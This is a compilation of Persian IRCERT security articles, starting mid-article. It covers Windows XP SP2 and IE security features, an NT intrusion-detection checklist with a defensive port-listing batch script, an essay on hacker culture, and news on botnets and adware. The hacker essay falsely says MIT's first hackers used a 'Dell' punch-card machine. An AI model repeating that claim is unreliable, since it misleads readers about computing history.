بهبود امنیت Internet Explorer از دغدغه های اصلی SP2 است. مدیریت add-onها و تشخیص توقف سیستم (Crash) مربوط به آنها، کنترل اینکه آیا اطلاعات باینری اجازه اجرا دارند یا خیر، به کار بردن محدودیت های امنیتی برای همه URL Objectها که قبلا تنها در مورد ActiveXها وجود داشت و کنترل روی اجرای همه نوع محتوا (Content) از ویژگی های SP2 هستند. IE SP2 به صورت جدی، امکانات Local Machine Zone را محدود کرده است تا از حملاتی که از این ناحیه امنیتی برای اجرای HTMLهای مخرب استفاده می کردند، جلوگیری کند. همچنین IE بر سازگاری اطلاعات همه انواع فایلها که از طرف سرورها فرستاده می شود، نظارت می کند که اطلاعاتی که برای یک نوع فایل خاص فرستاده می شود از همه نظر مطابق آنچه مورد انتظار است باشد؛ همچنین فایلها را sniff می کند تا کدهای مخرب را درون فایلهای ظاهرا بی خطر شناسایی کند. IE SP2 از دسترسی به cached scriptable object جلوگیری می کند، یعنی صفحه های HTML تنها به اشیاء مربوط به خود دسترسی دارند و بدین وسیله، از حملاتی که روی مدل cross-domain security model انجام می شوند تا حد زیادی جلوگیری می کند، به scriptها اجازه نمی دهد که به رخدادها (events) و محتوای سایر فریم ها گوش دهند و مثلا از دزدیده شدن اطلاعات مربوط به Credit Card در یک فرم دیگر جلوگیری می کند. از ویژگی های دیگر IE، قابلیت جلوگیری از پنجره های pop-up ناخواسته است و کاربر می تواند به دلخواه خود، pop-upها را مدیریت کند. IE همچنین از اطلاعات امضا شده توسط منبع غیر مطمئن[6] جلوگیری می کند، کد های امضا شده با امضای الکترونیکی[7] غیر معتبر را به صورت پیش فرض مانع می شود. همچنین IE از کدهای مربوط به تغییر اندازه پنجره ها و تغییر status bar محافظت می کند.
در SP2، با استفاده از DirectX 9 و Windows Media Player 9، ویژگی های امنیتی، سرعت و کارایی آنها را افزایش داده است.
با افزودن امکاناتی به سیستم Update ویندوز، به روز رسانی و نصب patchها را سریع، ساده ، اتوماتیک و امن تر کرده است و حجم این Patchها از این پس، بسیار کمتر خواهد بود و بخش عمده کار به عهده Installer خواهد بود. با استفاده ازWindows Installer 3.0، امکانات زیادی در زمینه امنیت در نصب برنامه ها افزوده شده است و سیستم مدیریت patchها و حجم کمتر patchها را با استفاده از تکنولوژی Delta Compression فراهم کرده است و patch removal را نیز قابل اطمینان تر کرده است.
وجود Windows Security Center از امکانات جدید ویندوز SP2 است که با فراهم کردن یک محیط user friendly و ثابت برای کاربر، امکان مدیریت امنیتی متمرکز ویندوز را برای کاربران فراهم می کند. مدیریت فایروال ویندوز، به روز رسانی ویندوز، گزینه های امنیتی اینترنت و محافظت در مقابل ویروسها از امکانات این محیط است. این امکان وجود دارد تا در این محیط از فایروال خود ویندوز استفاده شود و یا تولید کنندگان دیگر فایروال شخصی، محصولات خود را برای این محیط سازگار کنند. درمورد Anti-Virus این امکان در Security Center قرار داده شده تا سایر شرکتهای تولید کننده Anti-Virus خود را با این محیط مطابقت دهند و هنوز مایکروسافت راه حل مستقلی در این زمینه ندارد.

برای اطلاعات بیشتر، به منابع منتشر شده توسط مایکروسافت مراجعه کنید:

 http://download.microsoft.com/download/6/6/c/66c20c86-dcbe-4dde-bbf2-ab1fe9130a97/windows%20xp%20sp%202%20white%20paper.doc
http://www.microsoft.com/technet/prodtechnol/winxppro/sp2preview.mspx
http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2chngs.mspx
http://www.microsoft.com/technet/community/columns/cableguy/cg0104.mspx
 http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/securityinxpsp2.asp

منبع: http://www.secinfo.info

[1] - Remote Procedure Call
[2]- Permission level

[3]- Distributed Component Object Model

[4]- Execution Protection

[5]- External Content

[6]- Signed content from untrusted publishers


﻿ IRCERT - مقالات - Windows NTقسمت دوم-چک لیست کشف نفوذ در سیستم عامل

چک‌لیست کشف نفوذ در سیستم‌عامل Windows NT
(قسمت دوم)

در قسمت قبل تعدادی از موارد مهم که کاربران و مدیران شبکه باید برای داشتن بستر ارتباطی امن درنظر بگیرند مطرح شد. در این قسمت تعداد دیگری از توصیه‌های مهم در این زمینه ارائه می‌گردد.

۶- کد‌های دودویی موجود بر روی سیستم خود را چک کنید که تغییر نکرده‌باشند. برای این کار فایل‌های موجود بر روی سیستم را با نسخه‌هایی از فایل‌ها که به اصالت آنها اطمینان دارید و در محل‌های امن ذخیره شده‌اند (به عنوان مثال رسانه‌هایی که فایل‌های اولیه برای نصب نرم‌افزار بر روی آنها قرار گرفته‌اند) مقایسه کنید. در استفاده از نسخه‌های پشتیبان‌ دقت کنید، ممکن است حاوی اسب‌های تروا باشند.

اسب‌های تروا فایل‌های با اندازه و برچسب‌های زمانی مشابه نسخه‌های اصلی ایجاد می‌کنند. بنابراین تنها مقایسه اندازه و برچسب‌های زمانی فایل‌ برای دریافتن اصالت آن‌ها کافی نیست. به جای این کار باید از MD5، Tripwire و سایر ابزارهای رمزنگاری Checksum فایل‌ها برای آشکارسازی اسب‌های تروا استفاده کنید. حتما از اصالت این ابزارها اطمینان حاصل کنید و مطمئن شوید که با امنیت نگه‌داری شده و امکان تحریف آنها توسط نفوذگران وجود نداشته است. می‌توانید برای امضای خروجی‌های تولید شده توسط MD5 و Tripwire از نرم‌افزارهایی مانند PGP‌ بهره بگیرید تا در ارجاعات بعدی با اطمینان از این گزارشات استفاده کنید.

برنامه‌های ضدویروس هم می‌توانند برای مقابله با ویروس‌های کامپیوتری، اسب‌های تروا و درهای پشتی به کار گرفته شوند. به خاطر داشته باشید برنامه‌های مخرب همواره تولید می‌شوند، بنابراین درصورت استفاده از این برنامه‌ها از به‌روز بودن آنها مطمئن شوید.

۷- پیکربندی‌های سیستم محلی و شبکه خود را بررسی کرده، اطلاعات غیرمجاز وارد شده را شناسایی نمایید. مداخل غیرمجاز پیکربندی‌ بخش‌هایی مانند WINS، DNS و IP forwarding را بررسی نمایید. برای این کار می‌توانید از ابزار Network Properties و یا دستور "ipconfig /all" بهره بگیرید.

اطمینان حاصل کنید که تنها سرویس‌های شبکه‌ای که مورد نیاز است در حال اجرا بر روی سیستم هستند.

با استفاده از دستور "netstat -an" پورت‌های نامعمولی را که برای ارتباط از سایر میزبان‌ها در حال گوش دادن هستند را چک کنید. دستورات زیر که به صورت یک فایل دسته‌ای قابل اجرا می‌باشند رفتار همه پورت‌هایی که در حالت گوش دادن هستند را تحلیل کرده و سپس می‌تواند سرویس‌هایی که در حال اجرا بر روی آن پورت‌ها هستند را اعلام می‌نماید. برای استفاده از این فایل شماره پورت‌های شناخته شده را از آدرس زیر دریافت کنید:

http://www.iana.org/assignments/port-numbers

سایر شماره پورت‌هایی که توسط محصولات مایکروسافت مورد استفاده قرار می‌‌گیرند را می‌توان از مقالات پایگاه دانش مایکروسافت دریافت نمود. به این ترتیب می‌توان فایلی با فرمت فوق ساخت که سرویس‌های مختلف در حال اجرا بر روی سیستم‌های NT‌ را لیست می‌کند.

Windows NT, Terminal Server, and Microsoft Exchange Services Use TCP/IP Ports http://support.microsoft.com/support/kb/articles/q150/5/43.asp

SMS: Network Ports Used by Remote Helpdesk Functions http://support.microsoft.com/support/kb/articles/q167/1/28.asp

XGEN: TCP Ports and Microsoft Exchange: In-depth Discussion http://support.microsoft.com/support/kb/articles/q176/4/66.asp

How to Configure a Firewall for Windows NT and Trusts http://support.microsoft.com/support/kb/articles/q179/4/42.asp

در فایل دسته‌ای عبارت “TAB”‌ را با یک tab‌ واقعی جایگزین کنید. این فایل هیچ یک از فایل‌های موجود بر روی سیستم را تغییر نداده و بر روی آنها نمی‌نویسد. برای اجرای این برنامه نیاز به فایلی با نام “port-numbers.txt” دارید که شماره پورت‌ها و سرویس‌های ممکن بر روی هر یک از آنها را در خود دارد. شماره‌ پورت‌های ارائه گردیده در لیست فوق را می‌توان در فایلی با این نام ذخیره کرد.

متن فایل دستوری به صورت زیر است:

@echo off
      for /f "tokens=1,2 delims=:" %%I in ( 'netstat -an ^| findstr "0.0.0.0:[1-9]"'
) do call :CLEAN %%I %%J
   goto :EOF

 :CLEAN
     set X=0
     for /f "tokens=1,2,3 delims=TAB " %%A in ( 'findstr /I "\<%3/%1\>" port-
numbers.txt' ) do call :SETUP %%A %%C %3 %1
     if %X% == 0 echo %3/%1 ***UNKNOWN***
   goto :EOF

   :SETUP
     echo %3/%4 %1 %2
     set X=1;
   goto :EOF

۸- منابع به اشتراک گذاشته شده در سیستم را بررسی نموده، موارد غیر مجاز را شناسایی نمایید. با استفاده از دستور "net share" و یا ابزار Server Manager می‌توان لیست منابع به اشتراک گذاشته شده را مشاهده نمود. در NT‌ فایل‌های اشتراکی پنهان با افزودن یک علامت $‌ به انتهای نام نمایش داده می‌شوند. در این سیستم عامل تعدادی نام اشتراکی پیش‌فرض مانند PRINT$ استفاده می‌شود. در صورتی که چاپگر اشتراکی در سیستم وجود ندارد باید چک شود که این پوشه اشتراکی چرا و چگونه اینجاد شده است. اگر نام اشتراکی عجیبی در لیست سیستم مشاهده ‌شود ابزارهای موجود مکان واقعی پوشه مورد نظر را بر روی سیستم نشان می‌دهد. می‌توان برای یک درایو و یا یک پوشه چندین نام‌ اشتراک گذاشت، و هر یک از این نام‌ها مشخصات و حقوق دسترسی خاص خود را دارند.

۹- همه وظایف زمان‌بندی شده در سیستم را بررسی نمایید. نفوذگران می‌توانند درپشتی را از طریق برنامه‌هایی که برای اجرا در آینده برنامه‌ریزی شده‌اند ایجاد نمایند. علاوه بر این مطمئن شوید که امکان نوشتن بر روی فایل‌ها و برنامه‌هایی که توسط برنامه زمان‌‌بندی به آنها ارجاع شده است وجود ندارد. برای دیدن لیست وظایف در انتظار می‌توانید از دستور "at" استفاده کنید و یا ابزار WINAT‌ را از NT resource kit اجرا نمایید.

۱۰- فرآیندهای غیرمعمول در سیستم را شناسایی نمایید. برای جمع‌آوری اطلاعات در مورد فرآیندهای در حال اجرا بر روی سیستم می‌توانید از ابزار Tool Manager یا دستورات Pulist.exe و tlist.exe از NT resource kit استفاده نمایید.

۱۱- سیستم را با هدف یافتن فایل‌های مخفی و یا نامتعارف جستجو کنید. این فایل‌ها برای مخفی نگه‌داشتن ابزارها و اطلاعات (به عنوان مثال برنامه‌های سرقت گذرواژه، فایل‌های گذرواژه سایر سیستم‌ها و ...) به کار می‌رود. فایل‌های مخفی را می‌توان با استفاده از مرورگر NT‌ (در صورتی که در صفحه Options از منوی View گزینه Show all files انتخاب شده باشد) و همینطور با تایپ دستور "dir /ah" مشاهده نمود.

۱۲- فایل‌ها و کلید‌های رجیستری را بررسی کنید که مجوزهای آنها تغییر نیافته باشند. یکی از قدم‌های اساسی در تامین امنیت یک سیستم مبتنی بر NT تنظیم صحیح مجوزهای دسترسی به فایل‌ها و کلیدهای رجیستری است به نحوی که کاربران غیرمجاز نتوانند برنامه‌های خود (مانند درهای پشتی و یا ثبت‌کنندگان فعالیت‌های کاربران) را اجرا کرده و یا فایل‌های سیستمی را تغییر دهند. با استفاده از برنامه XCACLS.EXE که بخشی از NT Resource Kit می‌باشد می‌توان ویژگی‌های فایل‌ها را چک کرد. علاوه بر این می‌توان از NT Security Configuration Manager هم برای تحلیل پیکربندی سیستم استفاده نمود.

۱۳- تغییرات سیاست‌های کام‍پیوتر و کاربر را بررسی نمایید. سیاست‌ها در سیستم‌های مبتنی بر NT‌ برای تعریف دامنه گسترده‌ای از پیکربندی‌ها به کار می‌روند و مشخص می‌سازند که یک کاربر مجاز به انجام چه کارهایی می‌باشد.

۱۴- مطمئن شوید که سیستم در دامنه‌ای به غیر از دامنه پیش‌فرض تعریف نشده است. نفوذگران برای داشتن دسترسی با حقوق مدیریت سعی می‌کنند سیستم را در دامنه‌ای که خود حقوق مورد نیاز را در آن دارند عضو نمایند.

۱۵- هنگام جستجو برای یافتن رد‌پای نفوذگران همه سیستم‌های موجود در شبکه محلی را بگردید. در بیشتر مواقع اگر یک دستگاه در خطر افتاده باشد، امکان اینکه سایر دستگاه‌ها هم مورد هجوم قرار گرفته باشند وجود دارد.

ب. بروز بودن با مراجعه به مراکز اطلاع‌رسانی معتبر

برای این کار می‌توانید به سایت‌ مرکز هماهنگی گروه‌های امداد امنیت رایانه‌ای (CERT/CC ) و یا مرکز امداد امنیت رایانه‌ای ایران (IRCERT ) مراجعه نمایید.

ج. استفاده از نرم‌افزارهای تشخیص نفوذ

تعدادی از نرم‌افزارهای مجانی و یا مدت‌دار تشخیص نفوذ در آدرس زیر قابل دسترسی می‌باشند:

http://www.cerias.purdue.edu/coast/ids/

تعدادی از نسخه‌های نرم‌افزارهای تشخیص نفوذ که به صورت تجاری ارائه می‌شوند در زیر ارائه شده است:

Kane Security Monitor (KSM)
http://centauri.ods.com/security/products/ksm.shtml

OmniGuard/ITA (OmniGuard/Intruder Alert)
 http://www.axent.com/Axent/Products/IntruderAlert

Real Secure
http://solutions.iss.net/products/rsecure/rs.php

CyberCop Monitor
 http://solutions.sun.com/catalogs/all/Internet_and_Intranet/Security/42189.html

Intact
http://pedestalsoftware.com/intact/


﻿ IRCERT - دنیای هکرها - مقالات

دنیای هکرها

قصد داریم با شما در مورد هک و هکرها صحبت کنیم. اوایل برنامه‌های کوچکی توسط برنامه‌نویسان بنام “Hacks” نوشته می‌شد که شوخی‌های بی‌ضرر، دسترسی‌های بی‌اجازه و برگرفته از احساس “ جلوی من حصار نکش” بود، اما اکنون تبدیل به زیان‌های جدی شده است که به سیستمها وارد می‌شود. بهرحال در بعضی اوقات، هکرها برای سازمان‌ها مفید هستند و بعنوان محافظ عمل می‌کنند. بد نیست که با فرهنگ و برنامه‌های این گروه از افراد آشنا شویم. بنابه تعریف، آنها افراد یا گروههایی از افراد با انگیزه‌های متفاوت هستند که امنیت یک سازمان یا یک فرد را به مخاطره می‌اندازند. آنها کاوشگران قلمروهای جدید هستند. بعضی برای منافع شخصی و بعضی برای سودرساندن به دیگران. اطلاع داشتن از تاریخ هک راه و آینده احتمالی آن را مشخص می‌کند. مطالعه در مورد هکرهای برجسته و داخل‌شدنهای بی‌اجازه آنها به سیستمها به افزایش آگاهی در این مورد کمک می‌کند.

هکرها کیستند؟

اصطلاح “هک ”به میانبر ایجاد شده در یک برنامه برای انجام سریعتر کار، اشاره می‌کند. (این تعریفی است که با پیدایش این کلمه همراه آن بوده است.) طبق یک خرده‌فرهنگ، هکرها سعی در پنهان کردن هویت واقعی خود می‌کنند، هرچند مطالعات نشان داده است که بعضی از آنها از تحسین‌شدن بدلیل ماجراهایی که بوجود می‌آورند، لذت می‌برند. بیشتر آنها از اسامی مستعار مانند Hackingwiz یا Hyper Viper استفاده می‌کنند. آنها خود را افراد ماهر و هنرمندی می‌دانند که گاهی خود را از ویروس‌نویسان جدا می‌کنند. در حقیقت، برای مشخص‌کردن یک هکر، تعریف مشخصی وجود ندارد. آنها دارای زمینه‌های متفاوتی هستند و دلایلی که پشت هک وجود دارد گستره وسیعی را می‌پوشاند، اما باعث تهدیدهای مشترکی می‌شوند. هکرها افراد باهوشی هستند و از اینکه کامپیوترها را به انجام کاری که دوست دارند وامی‌دارند، لذت می‌برند.

در طبقه‌بندی هکرها سه گروه وجود دارند:

· هکرهای مدرسه‌ای قدیمی که به داده‌های فنی مانند کدهای برنامه یا آنالیز سیستمها علاقمند هستند. این گروه علاقمند به درگیرشدن در تحصیلات عالیه مرتبط با علوم کامپیوتر هستند.

· گروه دوم هکرهایی هستند که به مجرمان شباهت بیشتری دارند. آنها در فضای وب می‌گردند و برای اثبات خودشان سایتها را هک می‌کنند و مساله‌ساز می‌شوند. بهرحال اخیرا، تعدادشان اضافه شده است و نوجوانان بیشتری به هک مشغول شده‌اند. این مساله بعبارتی حالت تفریح در فضای سایبر را برای آنها دارد. آنها ابزار خود را توسط روشها و هکهایی که از منابع غیرقانونی، مانند وب‌سایتهایی که به هک تخصیص‌یافته، بدست می‌آورند. این افراد برای جامعه امنیتی امروز مساله‌ای جدی محسوب می‌شوند.

· گروه سوم مجرمان حرفه‌ای هستند. افراد این گروه اغلب اهداف مالی دارند. آنها مهارت دسترسی به سیستمهای مورد هک و یا افراد با این توانایی را دارند.

در فرهنگ هکرها، یک “آیین هکری” وجود دارد که در حقیقت مجموعه‌ای از قوانین نانوشته‌ای است که فعالیتهای آنها را هدایت می‌کند و خط مشی آنها را تعیین می‌کند. مهمتر اینکه، این مجموعه به تایید فعالیتهای انجام شده توسط هکرها کمک می‌کند. هر گروه برای خود یک آیین هکری دارد که از آن تبعیت می‌کند.

مطابق با دیدگاه افراد مختلف، هکرها یا سودمند و بعنوان جزء لازمی برای اینترنت هستند، یا اینکه تهدید محسوب می‌شوند. بسیاری احساس می‌کنند که آنها وظیفه دارند شکافهای امنیتی را پیدا و از آنها استفاده کنند تا توجه لازم را به مساله معطوف دارند. بهرحال باید روی دیگر سکه را نیز دید. همان ابزاری که برای اهداف خوب استفاده می‌شود می‌تواند همچنین باعث زیان یا سوءاستفاده‌های شخصی توسط افراد دیگر شود. همچنین به این طریق هزینه‌های اینترنت با توجه به لزوم افزایش امنیت روی وب، افزایش می‌یابد.

گروه‌ها و سایتهایی هستند که ابزار هک را در اختیار افراد قرار می‌دهند. هدف بعضی از آنها نیز اطلاع‌رسانی برای جلوگیری از آسیب‌های احتمالی است. گاهی فعالیتهای هکی را که در حال انجام است به اطلاع عموم می‌رسانند. بهرحال شایان ذکر است که همچنان بین متخصصان امنیت اختلاف نظر در مورد سودرسانی یا ضرررسانی هکرها وجود دارد. جالب اینجاست که گاهی هکرها اقدام به برگزاری همایش نیز می‌کنند و افراد علاقمند با حضور در این همایشها با روشها و ابزار هک آشنا می‌شوند. البته در میان حاضرین باز هم متخصصان امنیت و نیز آژانس‌های قانونگذاری و مجریان قانون حضور دارند. هدف آنها از این حضور حصول دانش بهتر در مورد این موضوع و کسب مهارتهای بیشتر با توجه به گرایش روزافزون به جرایم و تروریسم در فضای سایبر است.

تاریخ ورای قضیه

هک احتمالا عمری به اندازه عمر کامپیوتر دارد. روز اول کامپیوتری کار می‌کرد و روز دوم هک می‌شد. MIT اولین گروه از هکرهای کامپیوتری را معرفی کرد. گروهی جوان از تحصیلکردگان علوم کامپیوتر که روی ماشین کارت پانچ Dell کار می‌کردند. بهرحال این هنر! هیچ مرز بین‌المللی نمی‌شناسد. هک در همه جا هست. با ظهور اینترنت مدرن، هک نیز رشد کرد.

هک بیشتر بعنوان یک هویت مستقل ظهور کرد. روترها بدرستی تنظیم نمی‌شدند، همچنانکه این مساله امروز نیز وجود دارد. معمولا کاربران از ارتباطات خطوط تلفن برای دستیابی به شرکتهای بزرگ دولتی و ارتشی استفاده می‌کردند. و بقیه نیز پشت ترمینالهایی می‌نشستند که مستقیما به سیستمهایی وصل بودند که آنها در حال هک کردنشان بودند. این سیستمها از ماشینهای مین‌فریم بزرگ و درایوهای نواری تشکیل می‌شدند. دسترسی به آنها عموما با هک کردن کمترین میزان امنیت یعنی شناسه و رمزعبور بدست می‌آمد. البته منظور این نیست که هک در آن زمان آسانتر بود. میانگین سطح دانش هکرها نیز بالاتر رفته است. در ضمن امروزه نرم‌افزارهای آسیب‌رسان نیز براحتی در دسترس افراد با دانش کم قرار دارد. هدف از بسیاری نفوذها دستیابی به سیستمهایی بود که بنظر غیرقابل دستیابی یا امن بودند. در حقیقت شکستن امنیت این سیستمها یک چالش محسوب می‌شد.

امروزه در دنیایی زندگی می‌کنیم که اینترنت بخش مهمی از آن را تشکیل می‌دهد. بسیاری از خریدها آنلاین انجام می‌گیرد و سیستمهای تجاری زیادی از این طریق به هم مرتبط هستند. ظهور کامپیوترهای رومیزی و افزایش آنها در خانه‌ها، کامپیوتر را در دسترس گروه‌های زیادی از مردم قرار داده است. این امر زمینه را برای فعالیت هکرها نیز گسترش داده است. اگرچه هکرها با کامپیوترها و شبکه‌های پیچیده‌تری سروکار دارند، خود این امر چالش قضیه را برای آنها بیشتر می‌کند و انگیزه آنها را بالاتر می‌برد. سیاست‌ها و فلسفه‌های پشت این قضیه نیز تغییر کرده است. بسیاری از گروه‌ها از هکرها برای کمک به کشف ضعفهای امنیتی سیستمهای خود استفاده می‌کنند. اینترنت مدرن به هکرها اجازه داده است که مرزهای جدید را بکاوند. جنگ بین کشورها با هک‌کردن وب‌سایتهای یکدیگر و از کار انداختن آنها یا پایین‌آوردن سایتها با حملات DoS (Denial of Service) به یک امر معمول مبدل گشته است. ارتشها از هکرها بمنظور از کار انداختن سیستمهای دفاعی دشمنانشان برای کسب برتری در جنگ استفاده می‌کنند. منافع مالی یک انگیزه بزرگ برای بعضی هکرها یا افرادی است که هکرها را بکار می‌گیرند. موسسات مالی اغلب هدف قرار می‌گیرند تا مقادیر زیادی از پولشان توسط روشهای الکترونیک بسرقت رود.


﻿ IRCERT - مقالات - IEبهبود قابلیت های امنیتی

بهبود قابلیت های امنیتی IE توسط Windows XP SP2

با سرویس پک۲ (SP2) کاربران IE قادر خواهند بود قابلیت های جدیدی را برای حفظ حریم شخصی و امنیت سیستم به مرورگر خود بیفزایند. این قابلیت ها در واقع در جهت افزایش آگاهی کاربران از خطراتی است که امنیت سیستم را تهدید می نمایند. در صورتی که کاربر اقدام به گرفتن فایل های مشکوک از اینترنت کند و یا سایت های وب بدون اجازه و اطلاع کاربر، برنامه ای را بر روی دستگاه اجرا کنند، مرورگر مجهز به SP2 این فعالیت ها را متوقف نموده، هشدارهای لازم را به کاربر می دهد.

در این مقاله سه قابلیت جدید مرورگر مورد بحث قرار می گیرند:

· نوار اطلاعات

· مسدود کننده Pop-up

· مدیر Add-on

نوار اطلاعات

این نوار برای ابلاغ هشدارهای سیستم نسبت به نقض اصول امنیتی به مرورگر IE اضافه شده است. هرگاه وب سایت هایی که کاربر در حال مشاهده آنهاست بدون اجازه کاربر اقدام به اجرای برنامه بر روی دستگاه نمایند، و یا خود کاربر فایلی را از اینترنت دریافت نماید که امکان آلودگی آن وجود داشته باشد هشدارهای لازم برای آگاهی کاربر از طریق این نوار ابزار اعلام می گردد.

این نوار ابزار دقیقا زیر نوار آدرس قرار دارد و به تصمیم گیری در مورد downloadها، پنجره های pop-up مسدود شده و سایر وقایعی که در مرورگر اتفاق می افتد کمک می کند. نوار ابزار اطلاعات تنها در شرایطی ظاهر می شود که پیامی داشته باشد و بنابراین فضای مفید مرورگر را در موارد غیر ضروری اشغال نمی نماید.

اطلاعات بیشتر در مورد نوار اطلاعات

مسدود کننده Pop-up

این مسدود کننده به صورت پیش فرش در IE فعال است و اجازه فعالیت بیشتر پنجره های Pop-up را می گیرد.

اطلاعات بیشتر در مورد مسدود کننده Pop-up

مدیریت Add-on

Add-on برنامه ای است که به مرورگر افزوده می شود تا تجربه مرور وب را شخصی، جذاب تر و موثر تر نماید. از جمله این برنامه ها می توان به نوارابزارهای خاص و اشاره گر گرافیکی موس اشاره نمود. در بعضی از موارد این برنامه ها باعث می شوند که فعالیت IE متوقف شود. در این صورت مدیر Add-on می تواند دلیل این مشکل را بیابد و کاربر با استفاده از این ابزار قادر خواهد بود برنامه Add-on را غیرفعال یا به روز نموده، این اشکال را به مایکروسافت گزارش کند.

اطلاعات بیشتر در مورد مدیر Add-on


﻿ IRCERT - حمله شبکه کامپیوترهای خانگی به اینترنت - اخبارها و هشدارها

حمله شبکه کامپیوترهای خانگی به اینترنت

16 ژوئن 2004 – 27 خرداد 1383

شرکت Akami – تامین کننده زیرساخت اینترنت – اعلام کرد حمله ای که در ابتدای این هفته باعث از کار افتادن Google ،‌Yahoo و بسیاری از وب سایتهای مشهور دیگر شده بود با استفاده از bot net – یک شبکه بزرگ از کامپیوترهای شخصی که توسط روباتهای نرم افزاری تسخیر شده اند – انجام شده بود.

این حمله که تقریبا باعث عدم دسترسی به سایتهای Apple ، google ، Microsoft و‌Yahoo شده بود ، در واقع سرورهای اصلی DNS ( Domain Name System ) را که در اختیار Akami هستند ، نشانه رفته بود. این سرورها تبدیل و ترجمه آدرس و URL سایتها را به نشانی عددی مورد استفاده در اینترنت به عهده دارند. حمله کنندگان با استفاده از شبکه ای از کامپیوترهای خانگی ، حجم زیادی داده را به این سرورها ارسال کردند و باعث شدند که سرورها نتوانند به پاسخگویی و ترجمه آدرس ها بپردازند.

یکی از مدیران Akami در این باره می گوید :“ حجم داده و ترافیک به قدری بود که نمی توانست از یک یا دو سرور فرستاده شده باشد. ما با کمک شبکه های همکار توانستیم یک شبکه bot را شناسایی کنیم و با از کارانداختن آن ، حملات را متوقف کنیم.“

شبکه های bot مجموعه ای از کامپیوترها هستند که بوسیله یک نرم افزار خاص و به منظور ایجاد شبکه های بزرگ جهت حمله ایجاد می شوند.یک bot که به عنوان یک برنامه اسب تروا با دسترسی از راه دور نیز شناخته می شود ، کامپیوترهای شخصی قابل نفوذ را می یابد و بر روی آنها قرار می گیرد. سپس در پس زمینه اجرا می شود و به هکر اجازه می دهد تا زمانی که صاحب کامپیوتر به کار خود مشغول است ، دستوراتی را برای سیستم ارسال کند. با این کار کامپیوترها به سیستم هایی تبدیل می شوند که براحتی و از راه دور قابل کنترل هستند. آخرین نسخه از نرم افزار bot به هکرها اجازه می دهد تا اطلاعات را از طریق سرورهای چت و شبکه های p2p از روی کامپیوترها سرقت کنند. پس از آن می توان از این کامپیوترها جهت آلوده سازی یا حمله استفاده کرد.


﻿ IRCERT - تلاشی برای کسب اعتبار - اخبارها و هشدارها

تلاشی برای کسب اعتبار

27 ژوئن 2005 – 6 تیر 1384

شرکت 180solutions که به عنوان یک شرکت تبلیغات اینترنتی شناخته می شود، در تلاشی آشکار سعی دارد وجهه خود را نزد کاربران بهبود بخشد و در همین راستا به کاربرانی که نرم افزار تبلیغاتی این شرکت روی کامپیوترشان نصب شده، هشدار می دهد و نکاتی را جهت برداشتن این نرم افزار ارائه می کند.

سخنگوی 180solutions اعلام کرده است که این شرکت از امروز شروع به نمایش پیغامهایی روی سیستم قربانیان خود کرده است. این پیام توضیح می دهد که نرم افزار نصب شده باعث نمایش تبلیغات pop-up می شود و لینکی برای برداشتن نرم افزار در اختیار کاربر قرار می دهد.

بسیاری از کاربران نرم افزارهای تبلیغاتی را ناخواسته روی سیستم خود نصب می کنند. بعضی از این نرم افزارها از حفره های موجود در مرگرها استفاده می کنند و زمانی که کاربر مشغول دیدن یک سایت مخرب است، خود را روی سیستم وی نصب می کنند. به گفته شرکت 180solutions، نرم افزار این شرکت روی بیش از 20 میلیون کامپیوتر نصب شده است. تبلیغات pop-up ارائه شده توسط این نرم افزار بستگی به سایتهایی دارد که کاربر بازدید می کند.


﻿ IRCERT - اخبار و هشدارها- bot اخطار : کنترل شبکه ها در دست یک

اخطار : کنترل شبکه ها در دست یک bot

30 آوریل – 11 اردیبهشت

متخصصان امنیت شبکه هشدار داده اند که یک تهدید بی صدا اما مخرب شبکه های بزرگ کامپیوتری را تهدید می کند و آن چیزی نیست جز یک bot. نرم افزار bot به ابزارهای حمله از راه دور اطلاق می شود که در میان کامپیوترها جستجو می کنند و درصورت یافتن حفره, خود را روی آن ماشین قرار می دهند. پس از آن به صورت کاملا آرام و بی صدا در پس زمینه به فعالیت می پردازند و به هکر اجازه می دهند تا دستورات خود را برای سیستم ارسال کند. آخرین نسخه از این نرم افزارها به هکرها اجازه می دهد تا کنترل کامپیوترهای قربانی را از طریق سرورهای چت و شبکه های p2p در دست بگیرند , به نرم افزار دستور بدهند تا به سایر کامپیوترها حمله کند و از سیستم های آلوده اطلاعات سرقت کند.

روز 29 آوریل بعضی متخصصان امنیت شبکه هشدار داده بودند که یکی از مشهورترین انواع bot با نام Agobot نسخه جدیدی را ارائه کرده است. این نسخه جدید از حفره موجود در یک بخش امنیتی ویندوز Local Security Authority Subsystem Service)) یا LSASS استفاده می کند. بد نیست بدانید که تقریبا تمامی ویدوزهای فروخته شده طی 5 سال گذشته , این بخش امنیتی را دارند. این نسخه جدید از یک کانال یا پورت داده ای خاص برای حمله به سیستم های دارای حفره استفاده می کند.

شرکت Symantec نیز که این bot را Gaobot می نامد , به کاربرانش درباره گسترش آن هشدار داده بود. این شرکت تعداد کامپیوترهای آلوده به این نرم افزار را صدها هزار اعلام کرده است اما سایر متخصصین این رقم را چند میلیون می دانند. بد نیست بدانید که Symantec تعداد کامپیوترهای آلوده به Blaster را نیز نیم میلیون اعلام کرده بود در حالی که مایکروسافت یک ماه پیش این تعداد را 8 میلیون و پس از آن 9 و نیم میلیون اعلام کرد.

نرم افزارهای bot را نمی توان به آسانی تشخیص داد چون معمولا فعالیت آنها بسیار آرام و بی سر و صداست. کرمها با گسترش خودکار خود باعث ایجاد ترافیک سنگینی روی شبکه های کامپیوتری می شوند و همین امر وجود آنها را مشخص می کند اما bot معمولا بدنبال شبکه های کوچکتری برای آلوده سازی می گردد و لذا عرض باند کمتری را مصرف می کند و فعالیت آن به چشم نمی آید.

در عوض این نرم افزارها می توانند برای حملات ویروسها و کرمها به خدمت گرفته شوند. برای مثال کرم اینترنتی witty از روی 4200 سیستم آلوده به bot حمله خود را آغاز کرد و در واقه یک شبکه bot این حمله را انجام داد. همچنین اسپمرها از شبکه های bot برای ارسال ایمیلهای اسپم استفاده می کنندو و بدین طریق هویت خود را مخفی می کنند. همچنین می توان از این شبکه هاج هت انجام حملات DoS به سایتهای مختلف بهره گرفت. حتی بعضی هکرها از این شبکه ها به عنوان یک سوپرکامپیوتر توزیع شده استفاده می کنند تا عملیات محاسباتی سنگین و پیچیده را سریعتر انجام دهند و کدهای رمزنگاری و کلمات عبور را بشکنند

از آنجایی که نویسنده Agobot کد آن را روی شبکه منتشر کرده است ممکن است ویژگی های جدیدی به این نرم افزار اضافه شود. Agobotا ز کانالهای IRC برای کنترل کامپیوترهای آلوده استفاده می کند.

